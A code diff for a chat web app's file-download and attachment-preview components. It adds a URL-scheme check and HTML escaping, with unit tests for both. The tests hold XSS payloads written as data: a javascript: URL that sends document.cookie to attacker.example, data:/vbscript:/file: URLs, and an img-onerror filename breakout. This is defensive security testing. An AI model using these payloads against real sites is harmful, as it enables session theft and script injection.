diff --git a/apps/sim/app/chat/components/message/components/file-download.test.tsx b/apps/sim/app/chat/components/message/components/file-download.test.tsx
new file mode 100644
index 00000000000..6d48be1e2bc
--- /dev/null
+++ b/apps/sim/app/chat/components/message/components/file-download.test.tsx
@@ -0,0 +1,58 @@
+/**
+ * @vitest-environment jsdom
+ */
+import { describe, expect, it, vi } from 'vitest'
+
+vi.mock('@/components/emcn', () => ({
+  Button: () => null,
+  Download: () => null,
+  Loader: () => null,
+}))
+
+vi.mock('@/components/icons/document-icons', () => ({
+  DefaultFileIcon: () => null,
+  getDocumentIcon: () => () => null,
+}))
+
+vi.mock('@/lib/core/config/env', () => ({
+  env: {},
+  getEnv: vi.fn(),
+}))
+
+vi.mock('@/lib/core/config/feature-flags', () => ({
+  isProd: false,
+}))
+
+import { isSafeHttpUrl } from '@/app/chat/components/message/components/file-download'
+
+describe('isSafeHttpUrl', () => {
+  it('allows absolute http(s) URLs', () => {
+    expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true)
+    expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true)
+  })
+
+  it('allows same-origin relative URLs (resolved against the browser origin)', () => {
+    expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true)
+  })
+
+  it('rejects javascript: URLs', () => {
+    expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false)
+    expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false)
+  })
+
+  it('rejects other script-capable or non-navigable schemes', () => {
+    expect(isSafeHttpUrl('data:text/html,<script>alert(1)</script>')).toBe(false)
+    expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false)
+    expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false)
+    expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false)
+  })
+
+  it('treats relative junk as same-origin http (safe) rather than throwing', () => {
+    expect(isSafeHttpUrl('')).toBe(true)
+    expect(isSafeHttpUrl('not a url')).toBe(true)
+  })
+
+  it('rejects unparseable absolute input without throwing', () => {
+    expect(isSafeHttpUrl('http://')).toBe(false)
+  })
+})
diff --git a/apps/sim/app/chat/components/message/components/file-download.tsx b/apps/sim/app/chat/components/message/components/file-download.tsx
index bd5aa880dcc..4ba289b1ec1 100644
--- a/apps/sim/app/chat/components/message/components/file-download.tsx
+++ b/apps/sim/app/chat/components/message/components/file-download.tsx
@@ -6,6 +6,7 @@ import { sleep } from '@sim/utils/helpers'
 import { Music } from 'lucide-react'
 import { Button, Download, Loader } from '@/components/emcn'
 import { DefaultFileIcon, getDocumentIcon } from '@/components/icons/document-icons'
+import { getBrowserOrigin } from '@/lib/core/utils/urls'
 import type { ChatFile } from '@/app/chat/components/message/message'
 
 const logger = createLogger('ChatFileDownload')
@@ -53,6 +54,21 @@ function getFileUrl(file: ChatFile): string {
   return `/api/files/serve/${encodeURIComponent(file.key)}?context=${file.context || 'execution'}`
 }
 
+/**
+ * Validates that a URL uses an http(s) scheme before it is opened in a new window.
+ * Rejects `javascript:`, `data:`, `blob:`, `vbscript:`, and other schemes that could
+ * execute script in the chat origin, since `file.url` originates from untrusted
+ * workflow/agent output.
+ */
+export function isSafeHttpUrl(url: string): boolean {
+  try {
+    const parsed = new URL(url, getBrowserOrigin() ?? undefined)
+    return parsed.protocol === 'http:' || parsed.protocol === 'https:'
+  } catch {
+    return false
+  }
+}
+
 async function triggerDownload(url: string, filename: string): Promise<void> {
   const response = await fetch(url)
   if (!response.ok) {
@@ -88,8 +104,8 @@ export function ChatFileDownload({ file }: ChatFileDownloadProps) {
       await triggerDownload(url, file.name)
     } catch (error) {
       logger.error(`Failed to download file ${file.name}:`, error)
-      if (file.url) {
-        window.open(file.url, '_blank')
+      if (file.url && isSafeHttpUrl(file.url)) {
+        window.open(file.url, '_blank', 'noopener,noreferrer')
       }
     } finally {
       setIsDownloading(false)
diff --git a/apps/sim/app/chat/components/message/message.test.tsx b/apps/sim/app/chat/components/message/message.test.tsx
new file mode 100644
index 00000000000..50f0323b3f7
--- /dev/null
+++ b/apps/sim/app/chat/components/message/message.test.tsx
@@ -0,0 +1,43 @@
+/**
+ * @vitest-environment node
+ */
+import { describe, expect, it, vi } from 'vitest'
+
+vi.mock('@/components/emcn', () => ({
+  Duplicate: () => null,
+  Tooltip: {},
+}))
+
+vi.mock('@/app/chat/components/message/components/file-download', () => ({
+  ChatFileDownload: () => null,
+  ChatFileDownloadAll: () => null,
+}))
+
+vi.mock('@/app/chat/components/message/components/markdown-renderer', () => ({
+  default: () => null,
+}))
+
+import { escapeHtml } from '@/app/chat/components/message/message'
+
+describe('escapeHtml', () => {
+  it('escapes all five HTML-significant characters', () => {
+    expect(escapeHtml('&<>"\'')).toBe('&amp;&lt;&gt;&quot;&#39;')
+  })
+
+  it('neutralizes a markup-breakout filename payload', () => {
+    const payload = '</title><img src=x onerror=alert(document.origin)>'
+    const escaped = escapeHtml(payload)
+    expect(escaped).not.toContain('<img')
+    expect(escaped).not.toContain('</title>')
+    expect(escaped).toBe('&lt;/title&gt;&lt;img src=x onerror=alert(document.origin)&gt;')
+  })
+
+  it('escapes ampersands first so entities are not double-broken', () => {
+    expect(escapeHtml('a & b < c')).toBe('a &amp; b &lt; c')
+  })
+
+  it('leaves safe strings untouched', () => {
+    expect(escapeHtml('report-2026.pdf')).toBe('report-2026.pdf')
+    expect(escapeHtml('')).toBe('')
+  })
+})
diff --git a/apps/sim/app/chat/components/message/message.tsx b/apps/sim/app/chat/components/message/message.tsx
index a005c7257a5..661dd4e1657 100644
--- a/apps/sim/app/chat/components/message/message.tsx
+++ b/apps/sim/app/chat/components/message/message.tsx
@@ -49,7 +49,7 @@ const HTML_ESCAPES: Record<string, string> = {
 /**
  * Escapes HTML entities so untrusted strings are safe to interpolate into markup.
  */
-function escapeHtml(value: string): string {
+export function escapeHtml(value: string): string {
   return value.replace(/[&<>"']/g, (c) => HTML_ESCAPES[c] || c)
 }
 
@@ -129,28 +129,10 @@ export const ClientChatMessage = memo(
                     const isInteractive =
                       !!attachment.dataUrl?.trim() && attachment.dataUrl.startsWith('data:')
 
-                    const openAttachmentPreview = () => {
+                    const handleOpenPreview = () => {
                       const validDataUrl = attachment.dataUrl?.trim()
                       if (!validDataUrl?.startsWith('data:')) return
-                      const newWindow = window.open('', '_blank')
-                      if (newWindow) {
-                        newWindow.document.write(`
-                          <!DOCTYPE html>
-                          <html>
-                            <head>
-                              <title>${attachment.name}</title>
-                              <style>
-                                body { margin: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; background: #000; }
-                                img { max-width: 100%; max-height: 100vh; object-fit: contain; }
-                              </style>
-                            </head>
-                            <body>
-                              <img src="${validDataUrl}" alt="${attachment.name}" />
-                            </body>
-                          </html>
-                        `)
-                        newWindow.document.close()
-                      }
+                      openAttachmentPreview(attachment.name, validDataUrl)
                     }
 
                     return (
@@ -170,14 +152,14 @@ export const ClientChatMessage = memo(
                           if (!isInteractive) return
                           e.preventDefault()
                           e.stopPropagation()
-                          openAttachmentPreview()
+                          handleOpenPreview()
                         }}
                         onKeyDown={(e) => {
                           if (!isInteractive) return
                           if (e.key === 'Enter' || e.key === ' ') {
                             e.preventDefault()
                             e.stopPropagation()
-                            openAttachmentPreview()
+                            handleOpenPreview()
                           }
                         }}
                       >